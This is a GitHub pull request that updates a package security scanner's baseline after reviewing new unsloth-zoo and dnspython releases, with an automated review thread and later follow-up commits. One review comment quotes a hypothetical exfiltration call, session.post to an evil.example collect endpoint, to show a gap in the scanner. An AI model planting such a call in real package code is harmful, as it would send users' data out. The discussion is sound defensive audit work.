Skip to content

Baseline the unsloth-zoo 2026.10.3 and dnspython 2.9.0 findings after review - #13143

Merged
danielhanchen merged 3 commits into
mainfrom
scan-baseline-zoo-2026-10-3
Oct 10, 2026
Merged

danielhanchen merged 3 commits into
mainfrom
scan-baseline-zoo-2026-10-3

Conversation

@danielhanchen

@danielhanchen danielhanchen commented Oct 9, 2026 •

Copy link
Copy Markdown
Member

Summary

Security audit has been red on main since unsloth-zoo 2026.10.3 reached PyPI on Oct 8 (hf-stack lane), and dnspython 2.9.0 on Oct 9 turned the studio lane red too. Each lane fails on exactly one HIGH finding at a site that is already reviewed:

pip scan-packages :: hf-stack   [1] HIGH  unsloth-zoo  unsloth_zoo/vllm_utils.py  Advanced obfuscation + exec/eval
pip scan-packages :: studio     [1] HIGH  dnspython    dns/query.py               DNS exfiltration / tunneling patterns

(run 37928396417 on main; everything else in both lanes is MEDIUM or already baselined.)

This adds one reviewed entry per file, the same way #12956 did for unsloth-zoo 2026.10.2. Older entries stay, so the previous releases still pass.

Refs #10545.

Review (previous release vs new release wheels)

File Why it reopened What changed Verdict
unsloth_zoo/vllm_utils.py (2026.10.2 -> 2026.10.3) digest pin only; the evidence hash 4928e730... is the existing reviewed one Gemma-4 audio tower loaded from the local safetensors checkpoint via safe_open, _get_multimodal_engine_args, a q_proj-only path for KV-shared layers, the bnb loader import moved into empty_model._import_vllm_bnb_loader_module (same two fixed module paths), a retry that also lowers max_num_batched_tokens. No new exec, eval, subprocess or network code. The matched eval/exec/__import__ lines are unchanged, only shifted. benign, pinned to the 2026.10.3 digest 54d81fd9...
dns/query.py (2.8.0 -> 2.9.0) matched lines changed The wheel's file is byte-identical to rthalley/dnspython tag v2.9.0 (sha256 fab950c3...). The matched lines only change Optional["dns.resolver.Resolver"] to "dns.resolver.Resolver | None" and httpx to httpx2 (pydantic/httpx2, now the doh extra). benign, unpinned like the existing 2.8.0 entry (dnspython is only transitive, so a digest pin would turn main red on every dnspython release)

Verification

before after
scripts/scan_packages.py unsloth-zoo==2026.10.3 dnspython==2.9.0 exit 1, 2 HIGH exit 0
scripts/scan_packages.py unsloth-zoo==2026.10.2 dnspython==2.8.0 exit 0 exit 0
2026.10.3 wheel with one line appended to vllm_utils.py (outside the matched spans) n/a still reopens (the pin holds)
tests/security/test_scan_packages.py n/a 152 passed
staging Security audit, all pip scan-packages lanes incl. hf-stack and studio red on main green (danielhanchen/unsloth-staging-2 runs 37949368384, 37952552578)

… review

unsloth-zoo 2026.10.3 (Oct 8) reopened the digest-pinned vllm_utils.py site,
so pip scan-packages :: hf-stack fails on main. dnspython 2.9.0 (Oct 9)
changed the matched lines in dns/query.py, so the studio lane fails too.
Both were re-read against the previous release and are benign:

- unsloth_zoo/vllm_utils.py: Gemma-4 audio tower loading from local
  safetensors, multimodal engine args, a q_proj-only KV-shared path and the
  bnb loader import moved into empty_model.py (same two fixed module paths).
  The matched eval/exec/__import__ lines are unchanged, only shifted. New
  pinned entry for the 2026.10.3 digest; the older pins stay.
- dns/query.py: byte-identical to rthalley/dnspython tag v2.9.0. The
  matched lines only move Optional[X] to X | None and httpx to httpx2
  (pydantic/httpx2, the new doh extra). Unpinned, like its 2.8.0 entry.
@danielhanchen danielhanchen self-assigned this Oct 9, 2026
@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Oct 9, 2026 •

Copy link
Copy Markdown

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-10-09T15:59:27.434875Z 65975b7 Manual request
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

@danielhanchen

Copy link
Copy Markdown
Member Author

@codex security review

@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 9, 2026

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: a9fa83752e

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

"check": "DNS exfiltration / tunneling patterns",
"severity": "HIGH",
"evidence": "DNS: L144: import dns.resolver | L146: resolver = dns.resolver.Resolver() | L402: resolver: \"dns.resolver.Resolver | None\", | L403: ) -> \"dns.resolver.Resolver\": | L409: import dns.resolver | L411: resolver = dns.resolver.Resolver() | L445: resolver: \"dns.resolver.Resolver | None\" = None,\nNetwork: L177: ) -> socket.socket: | L178: return socket.socket(af, kind, proto) | L184: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L330: ) -> socket.socket: | L551: if session and not isinstance(session, httpx2.Client): | L552: raise ValueError(\"session parameter must be an httpx2.Client\") | L583: cm = httpx2.Client(\nL584: http1=h1, http2=h2, verify=verify, transport=transport\nL585: ) | L1498: s: socket.socket | ssl.SSLSocket, | L1510: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM",
"evidence_hash": "06a7ae5b55d6f5f13ca756f54773b910f597d82d9f02b10f7f6e701bf5110abc"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Pin the reviewed dnspython file digest

When a later or compromised dnspython release preserves these regex-matched lines, omitting file_sha256 makes _load_baseline treat this evidence key as unpinned and suppress the finding regardless of other changes in dns/query.py. In the cached 2.9.0 file, adding session.post("https://evil.example/collect", content=wire) leaves this evidence hash unchanged because RE_NETWORK does not recognize instance-method calls, so the blocking security audit would miss that DNS exfiltration payload. Pin this entry to the reviewed file hash (fab950c3b5ae218768c4130f930310b0c0e50034ddc6350ede5db98049c6b47d).

Useful? React with 👍 / 👎.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 6cba884: reproduced the bypass (an appended session.post exfil call kept the evidence hash and stayed suppressed), so both dnspython query.py entries are now pinned to their upstream-tag file digests; the payload now reopens.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reverted in 65975b7. The gap is real but applies to every unpinned entry, including the 2.8.0 one on main, and a digest pin on a package that is not exactly pinned in the audited requirements makes main red on every dnspython release (the invariant in test_digest_pinned_packages_are_pinned_on_every_supported_python). dnspython is only transitive here and an exact pin would change Studio installs, so it stays unpinned as before.

…le digests

An unpinned entry suppresses any query.py whose matched lines hash the same,
and RE_NETWORK does not see instance-method calls, so an appended
session.post(...) exfil call stayed suppressed. Pin 2.9.0 (fab950c3, the
upstream v2.9.0 tag) and 2.8.0 (f3911694, the upstream v2.8.0 tag).
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

1 similar comment
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 6cba884bc6

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread scripts/scan_packages_baseline.json Outdated
"severity": "HIGH",
"evidence": "DNS: L144: import dns.resolver | L146: resolver = dns.resolver.Resolver() | L402: resolver: \"dns.resolver.Resolver | None\", | L403: ) -> \"dns.resolver.Resolver\": | L409: import dns.resolver | L411: resolver = dns.resolver.Resolver() | L445: resolver: \"dns.resolver.Resolver | None\" = None,\nNetwork: L177: ) -> socket.socket: | L178: return socket.socket(af, kind, proto) | L184: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L330: ) -> socket.socket: | L551: if session and not isinstance(session, httpx2.Client): | L552: raise ValueError(\"session parameter must be an httpx2.Client\") | L583: cm = httpx2.Client(\nL584: http1=h1, http2=h2, verify=verify, transport=transport\nL585: ) | L1498: s: socket.socket | ssl.SSLSocket, | L1510: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM",
"evidence_hash": "06a7ae5b55d6f5f13ca756f54773b910f597d82d9f02b10f7f6e701bf5110abc",
"file_sha256": "fab950c3b5ae218768c4130f930310b0c0e50034ddc6350ede5db98049c6b47d"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Pin dnspython in the audited requirements

Adding this digest pin without declaring an exact dnspython version leaves the studio shard resolving it transitively through fastmcp-slim -> pydantic[email] -> email-validator -> dnspython>=2.0.0. As soon as that resolver selects a release whose dns/query.py bytes differ, the pin misses and the enforced --with-deps scan in .github/workflows/security-audit.yml:1028-1050 turns main red again. This also violates the invariant documented by test_digest_pinned_packages_are_pinned_on_every_supported_python (tests/security/test_scan_packages.py:2463-2483), which currently overlooks packages absent from all direct requirement files; add exact, Python-compatible dnspython pins to the scanned requirements.

Useful? React with 👍 / 👎.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 65975b7: dropped the dnspython digest pins instead of adding an exact pin, since dnspython is only transitive (email-validator) and pinning it would change Studio installs; both entries are unpinned as on main.

dnspython reaches the studio shard only transitively (email-validator ->
dnspython>=2.0.0), so a file_sha256 pin turns main red on every dnspython
release, the failure test_digest_pinned_packages_are_pinned_on_every_supported_python
guards against. Pinning it exactly would change Studio installs, so keep both
entries unpinned as on main.
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

1 similar comment
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

@chatgpt-codex-connector

Copy link
Copy Markdown

Codex Review: Didn't find any major issues. Bravo.

Reviewed commit: 65975b7f80

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

@danielhanchen
danielhanchen merged commit 0517d9b into main Oct 10, 2026
@danielhanchen
danielhanchen deleted the scan-baseline-zoo-2026-10-3 branch October 10, 2026 00:20
danielhanchen added a commit that referenced this pull request Oct 16, 2026
…ngs after review (#13949)

## Summary

`Security audit` on main fails in `pip scan-packages :: hf-stack` and
`pip scan-packages :: studio` (run 38811240332 on 565630c). Two new
upstream releases moved reviewed findings out of the baseline:

- **unsloth-zoo 2026.10.6** changed several files whose entries are
pinned to a file digest (`vision_utils.py`, `compiler.py`,
`vllm_utils.py`, `mlx/speculative.py`,
`temporary_patches/moe_utils.py`), changed the matched lines in
`mlx/decision.py` and `mlx/loader.py`, and added a new site in
`vllm_gdn_replayssm.py`.
- **transformers 5.20.0** shifted the `while True:` generator in
`testing_utils.py`, which the scanner reads as a polling loop.

No product change caused this; it is the expected churn of evidence-hash
and file-digest keyed entries on a new release, same as #13143, #13472
and #13701.

## Review

I diffed every flagged zoo file between 2026.10.5 (last baselined) and
2026.10.6. The added lines that touch the matched patterns are:

- `mx.eval(...)` MLX array evaluation calls and `model.eval()`
(decision.py, loader.py, speculative.py)
- reads of feature flags (`UNSLOTH_MOE_LORA_PAD_ALWAYS`,
`VLLM_MLA_DISABLE`, `UNSLOTH_VLLM_ONLINE_FP8`, `UNSLOTH_VLLM_REPLAYSSM`,
`VLLM_USE_V2_MODEL_RUNNER`, `UNSLOTH_VLLM_MERGED_ROLLOUT_RESTORE`)
- the `unsloth_fsdp_unshard` import and calls in the compiler header
(zoo #1766)
- the `mask_out_tokens` argument in `vision_utils.py`; the env and IMDS
hits there are still the SSRF guard that lists metadata hosts in order
to block them
- `vllm_gdn_replayssm._edit_method`, which recompiles a vLLM method from
its own `inspect.getsource` text after a textual edit, the same pattern
as the other vLLM patchers

None adds network access, subprocess use, encoded payloads or a new
destination.

The transformers hit is `evaluate_side_effect_factory` in
`testing_utils.py`, a test helper that yields the last value forever
(`while True: yield side_effect_values[-1]`). It was baselined at three
earlier line numbers already.

## Change

Ten entries appended to `scripts/scan_packages_baseline.json`, taken
from `scan_packages.py --write-baseline` over the two failing shards and
filtered to the flagged keys. Nothing is removed, so the older releases
stay covered, and pins carry over: every entry whose site was pinned
before is pinned to the 2026.10.6 file digest. The new
`vllm_gdn_replayssm.py` site is pinned too, since what it execs is
decided by the edit tables and source lookup elsewhere in the file, and
`tests/security/test_scan_packages.py` now requires that pin in both
context-dependent pin tests.

Excluded on purpose: the local run also flagged `multiprocess`, which
comes from a Python-version-specific wheel this host resolves and CI
does not.

## Testing

- Both shards rescanned locally against the new baseline: no unbaselined
unsloth-zoo or transformers finding remains.
- The baseline diff is additions only (10 entries).
- `tests/security/test_scan_packages.py`: 152 passed. Removing the new
pin makes
`test_context_dependent_unsloth_zoo_findings_are_digest_pinned` and
`test_context_dependent_unsloth_zoo_pins_reopen_on_other_file_changes`
fail.
danielhanchen added a commit that referenced this pull request Oct 20, 2026
## Summary

`Security audit` on main fails in `pip scan-packages :: hf-stack` (run
39357543071 on 22a0bea) with 2 CRITICAL and 5 HIGH unbaselined
findings, all in unsloth-zoo. unsloth-zoo 2026.10.7 reached PyPI
yesterday at 15:39, and the scan installs the latest release. Nothing in
this repo caused it; it is the expected churn of digest-pinned entries
on a zoo release, same as #13143, #13472, #13701 and #13949.

| File | Check | Why it reopened |
|---|---|---|
| `llama_cpp.py` | env + network | file digest changed, matched lines
unchanged |
| `compiler.py` | exec/eval | file digest changed, matched lines
unchanged |
| `vllm_utils.py` | exec/eval | file digest changed, matched lines
unchanged |
| `mlx/loader.py` | exec/eval | file digest changed, matched lines
unchanged |
| `mlx/speculative.py` | exec/eval | file digest changed, matched lines
unchanged |
| `temporary_patches/moe_utils.py` | exec/eval | file digest changed,
matched lines unchanged |
| `triton_kernels_compat.py` | downloads and executes remote code | new
matched lines |

## Review

I diffed each of the seven files between 2026.10.6 (last baselined) and
2026.10.7 and searched the added lines for network, subprocess,
exec/eval/compile, encoding, pickle, ctypes and environment access. What
they add:

- `triton_kernels_compat.py`: the flagged lines are
`importlib.import_module(self.name + ".topk")` and
`".tensor_details.ragged_tensor"`, which import fixed submodules of an
already installed `triton_kernels` package or vLLM's vendored copy. The
new `UNSLOTH_TRITON_KERNELS_SOURCE` flag (`auto | triton_kernels |
vllm`) only picks which of those two to import. Nothing is downloaded.
- `vllm_utils.py`, `temporary_patches/moe_utils.py`: feature flags
(`UNSLOTH_VLLM_SUFFIX_DECODING`, `UNSLOTH_VLLM_FP32_LM_HEAD`,
`UNSLOTH_MOE_DEQUANT_CHUNK_EXPERTS`, `UNSLOTH_MOE_SELECTIVE_DEQUANT`).
- `mlx/loader.py`: on MLX >= 0.32.4, imports the mlx-vlm modules named
in a fixed table (`_EXACT_VERIFY_SUM_SOURCES`) and uses two regexes to
promote their verify-kernel sums to float32.
- `llama_cpp.py`, `compiler.py`, `mlx/speculative.py`: no added line
touches any of those patterns.

None adds network access, subprocess use, encoded payloads or a new
destination.

## Change

Seven entries added to `scripts/scan_packages_baseline.json`, taken from
`scan_packages.py --write-baseline` over `unsloth-zoo==2026.10.7` and
filtered to the unbaselined keys. Each is pinned to its 2026.10.7 file
digest, as the previous entries for these files were, and sits next to
them. Nothing is removed, so older releases stay covered.

## Testing

- `scan_packages.py unsloth-zoo==2026.10.7`: exits 0 with this baseline;
with main's baseline it exits 1 with the same seven findings as CI.
- `scan_packages.py unsloth-zoo==2026.10.6` still exits 0.
- `tests/security/test_scan_packages.py`: 152 passed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant